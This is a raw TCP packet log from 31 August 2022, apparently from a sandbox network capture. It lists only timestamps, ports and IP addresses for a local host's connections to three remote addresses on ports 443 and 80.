Aug 31, 2022 14:30:16.939275026 CEST	443	49813	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:16.939435005 CEST	443	49813	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:16.939491034 CEST	443	49813	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:16.939543009 CEST	443	49813	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:16.939594984 CEST	49813	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:16.939635038 CEST	443	49813	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:16.939656973 CEST	49813	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:16.939663887 CEST	443	49813	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:16.939712048 CEST	49813	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:17.178155899 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:30:17.319425106 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:30:17.924972057 CEST	49813	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:17.925009012 CEST	443	49813	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:17.925071001 CEST	49813	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:17.925093889 CEST	443	49813	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:18.271589994 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:30:18.319586992 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:30:19.256136894 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:30:19.413383961 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:30:19.917414904 CEST	80	49777	45.136.151.102	192.168.2.4
Aug 31, 2022 14:30:19.917551994 CEST	49777	80	192.168.2.4	45.136.151.102
Aug 31, 2022 14:30:20.568582058 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:30:20.741617918 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:30:21.771775961 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:30:21.913558006 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:30:22.865590096 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:30:22.913675070 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:30:23.129889011 CEST	49814	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:23.129981995 CEST	443	49814	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:23.130112886 CEST	49814	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:23.879548073 CEST	49814	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:23.879599094 CEST	443	49814	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:23.919770002 CEST	443	49814	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:23.920037985 CEST	49814	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:23.959146976 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:30:24.038855076 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:30:24.551446915 CEST	49814	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:24.551515102 CEST	443	49814	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:24.552182913 CEST	443	49814	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:24.553925037 CEST	49814	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:24.579394102 CEST	443	49814	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:24.579603910 CEST	443	49814	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:24.579716921 CEST	443	49814	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:24.579719067 CEST	49814	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:24.579763889 CEST	443	49814	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:24.579823971 CEST	49814	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:24.579847097 CEST	443	49814	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:24.580049992 CEST	443	49814	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:24.580126047 CEST	49814	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:25.053137064 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:30:25.226434946 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:30:26.475672007 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:30:26.523375034 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:30:27.346832037 CEST	49814	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:27.346890926 CEST	443	49814	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:27.346942902 CEST	49814	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:27.346960068 CEST	443	49814	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:27.787751913 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:30:27.914187908 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:30:28.991791964 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:30:29.133023024 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:30:30.084778070 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:30:30.226814985 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:30:31.068715096 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:30:31.242458105 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:30:32.381666899 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:30:32.523885012 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:30:33.475174904 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:30:33.523940086 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:30:34.133136988 CEST	49815	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:34.133198023 CEST	443	49815	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:34.133322954 CEST	49815	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:34.459686995 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:30:34.539680004 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:30:35.005311012 CEST	49815	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:35.005346060 CEST	443	49815	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:35.065488100 CEST	443	49815	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:35.065684080 CEST	49815	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:35.553294897 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:30:35.742930889 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:30:35.956952095 CEST	49815	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:35.956976891 CEST	443	49815	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:35.957240105 CEST	443	49815	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:35.958969116 CEST	49815	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:35.990119934 CEST	443	49815	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:35.990164042 CEST	443	49815	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:35.990206957 CEST	443	49815	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:35.990242958 CEST	443	49815	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:35.990271091 CEST	49815	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:35.990292072 CEST	443	49815	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:35.990312099 CEST	49815	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:36.071023941 CEST	49815	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:36.231894970 CEST	443	49815	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:36.231967926 CEST	443	49815	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:36.232115984 CEST	49815	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:36.975172043 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:30:37.024244070 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:30:38.287652016 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:30:38.415011883 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:30:39.490762949 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:30:39.633897066 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:30:39.699668884 CEST	49815	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:39.699714899 CEST	443	49815	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:39.699786901 CEST	49815	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:39.699804068 CEST	443	49815	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:40.585762024 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:30:40.585957050 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:30:42.444219112 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:30:42.444361925 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:30:44.711057901 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:44.711141109 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:44.711271048 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:44.711621046 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:44.711647034 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:44.752545118 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:44.752801895 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:45.701006889 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:45.701041937 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:45.701421976 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:45.703552008 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:45.747389078 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:45.944566965 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:30:45.944722891 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:30:46.206604004 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:46.206650019 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:46.206677914 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:46.206705093 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:46.206732988 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:46.206762075 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:46.206772089 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:46.206826925 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:46.206855059 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:46.206861973 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:46.206938028 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:46.206988096 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:46.207005024 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:46.207020998 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:46.207058907 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:46.207067966 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:46.207081079 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:46.207139015 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:46.440766096 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:46.440834045 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:46.440865040 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:46.440933943 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:46.440936089 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:46.440980911 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:46.440996885 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:46.441054106 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:46.441085100 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:46.441088915 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:46.441101074 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:46.441138983 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:46.441148996 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:46.441189051 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:46.441224098 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:46.441225052 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:46.441235065 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:46.441271067 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:46.441286087 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:46.441353083 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:46.441402912 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:46.441402912 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:46.441415071 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:46.441463947 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:46.441477060 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:46.448244095 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:46.448301077 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:46.448347092 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:46.448380947 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:46.448415995 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:46.448430061 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:46.525168896 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:46.668375015 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:46.668472052 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:46.668514967 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:46.668555975 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:46.668565989 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:46.668591976 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:46.668596983 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:46.668605089 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:46.668636084 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:46.668646097 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:46.668715954 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:46.668755054 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:46.668777943 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:46.675884962 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:46.675996065 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:46.676040888 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:46.676099062 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:46.676779985 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:46.676851988 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:46.676860094 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:46.676877022 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:46.676911116 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:46.676925898 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:46.676942110 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:46.677000999 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:46.677005053 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:46.677018881 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:46.677052021 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:46.677062035 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:46.677077055 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:46.677119970 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:46.677139044 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:46.677180052 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:46.677200079 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:46.677243948 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:46.677259922 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:46.677300930 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:46.677308083 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:46.677320957 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:46.677341938 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:46.679403067 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:46.679488897 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:46.679512978 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:46.679570913 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:46.685929060 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:46.686042070 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:46.853522062 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:46.900321960 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:46.900444984 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:46.900480986 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:46.900526047 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:46.900544882 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:46.900551081 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:46.900573969 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:46.900582075 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:46.900604010 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:46.900612116 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:46.900640011 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:46.900652885 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:46.900661945 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:46.900676966 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:46.901679993 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:46.901715994 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:46.901743889 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:46.901762009 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:46.901771069 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:46.902287006 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:46.902321100 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:46.902333021 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:46.902339935 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:46.902354956 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:46.904371977 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:46.904421091 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:46.904438019 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:46.904448032 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:46.904478073 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:47.025100946 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:47.243432999 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:47.322009087 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:47.547379017 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:47.547544003 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:48.027374029 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:48.027519941 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:48.609800100 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:48.609853983 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:48.609885931 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:48.609966993 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:48.609981060 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:48.610013962 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:48.610049009 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:48.610065937 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:48.610081911 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:48.610105991 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:48.610125065 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:48.610148907 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:48.610157967 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:48.610172987 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:48.610187054 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:48.610193968 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:48.610213995 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:48.610227108 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:48.610230923 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:48.610236883 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:48.610239983 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:48.610244036 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:48.610260010 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:48.610275030 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:48.611646891 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:48.611675024 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:48.611701965 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:48.611717939 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:48.611748934 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:48.611761093 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:48.611782074 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:48.611799955 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:48.611804962 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:48.611835003 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:48.611871958 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:48.611898899 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:48.613352060 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:48.613384962 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:48.613403082 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:48.613421917 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:48.613481045 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:48.613497972 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:48.613529921 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:48.613558054 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:48.614207029 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:48.614223957 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:48.614250898 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:48.614321947 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:48.614342928 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:48.614384890 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:48.615094900 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:48.615111113 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:48.615137100 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:48.615220070 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:48.615259886 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:48.615959883 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:48.615984917 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:48.616017103 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:48.616034031 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:48.616106033 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:48.616151094 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:48.616931915 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:48.616961002 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:48.616995096 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:48.617084026 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:48.617120981 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:48.617778063 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:48.617803097 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:48.617825985 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:48.617861032 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:48.617919922 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:48.617964029 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:48.697120905 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:48.697156906 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:48.697180033 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:48.697309017 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:48.697336912 CEST	49816	443	192.168.2.4	104.21.40.196
